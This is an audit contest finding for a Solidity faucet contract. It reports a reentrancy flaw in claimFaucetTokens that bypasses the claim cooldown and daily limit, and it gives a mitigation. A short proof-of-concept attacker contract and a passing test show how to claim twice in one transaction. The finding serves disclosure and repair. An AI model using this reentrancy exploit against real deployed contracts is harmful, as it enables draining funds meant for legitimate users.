Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

# `RaiseBoxFaucet::claimFaucetTokens` allows back-to-back claims bypassing `CLAIM_COOLDOWN`

RaiseBoxFaucet::claimFaucetTokens allows back-to-back claims bypassing CLAIM_COOLDOWN

Description

The claimFaucetTokens() function is supposed to hand out faucet tokens each time and drip 0.0005 Sepolia ETH only on a user’s first claim. In theory it should follow the Checks-Effects-Interactions pattern and update lastClaimTime and dailyClaimCount before making external calls.

Instead, the function sends ETH via call before those state updates. A malicious contract can re-enter from the receive() hook while lastClaimTime and dailyClaimCount still hold their old values, which lets the attacker skip the 3-day cooldown and exceed the daily claim limit.

function claimFaucetTokens() public {
....
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
@> lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Risk

Likelihood: High

  • A public function that sends ETH via call with an unprotected state makes the reentrancy path obvious to anyone reading the code.

  • Implementing the exploit only requires a contract with a receive() that calls claimFaucetTokens() again; this can be done in a few lines.

Impact: High

  • The attacker drains the faucet supply by pulling multiple faucetDrip payouts in a single transaction, leaving legitimate users without tokens.

Proof of Concept

  1. Deploy the ClaimTokensReentrancy contract and set the faucet address in the constructor.

  2. Call attack(). The first execution passes all checks and transfers the ETH drip.

  3. The attack contract’s receive() fires on the ETH transfer and re-enters claimFaucetTokens() while lastClaimTime and dailyClaimCount are stale.

  4. The attacking contract ends up with 0.005 Sepolia ETH and two times faucetDrip within a single transaction.

interface IFaucet {
function claimFaucetTokens() external;
}
contract ClaimTokensReentrancy {
address public faucet;
constructor(address faucet_) {
faucet = faucet_;
}
function attack() external {
IFaucet(faucet).claimFaucetTokens();
}
receive() external payable {
IFaucet(faucet).claimFaucetTokens();
}
}
function test_ClaimTokensReentrancy() public {
ClaimTokensReentrancy reentrancy = new ClaimTokensReentrancy(address(raiseBoxFaucet));
reentrancy.attack();
assertEq(address(reentrancy).balance, raiseBoxFaucet.sepEthAmountToDrip());
assertEq(
raiseBoxFaucet.balanceOf(address(reentrancy)),
raiseBoxFaucet.faucetDrip() * 2
);
}
Ran 1 test for test/RaiseBoxFaucet.t.sol:TestRaiseBoxFaucet
[PASS] test_ClaimTokensReentrancy() (gas: 379065)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 20.80ms (2.34ms CPU time)

Recommended Mitigation

Move the state updates before the external call and consider adding a nonReentrant guard for extra safety.

function claimFaucetTokens() public {
...
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
+ lastClaimTime[faucetClaimer] = block.timestamp;
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
...
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
...
}
_transfer(address(this), faucetClaimer, faucetDrip);
}
- lastClaimTime[faucetClaimer] = block.timestamp;
Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!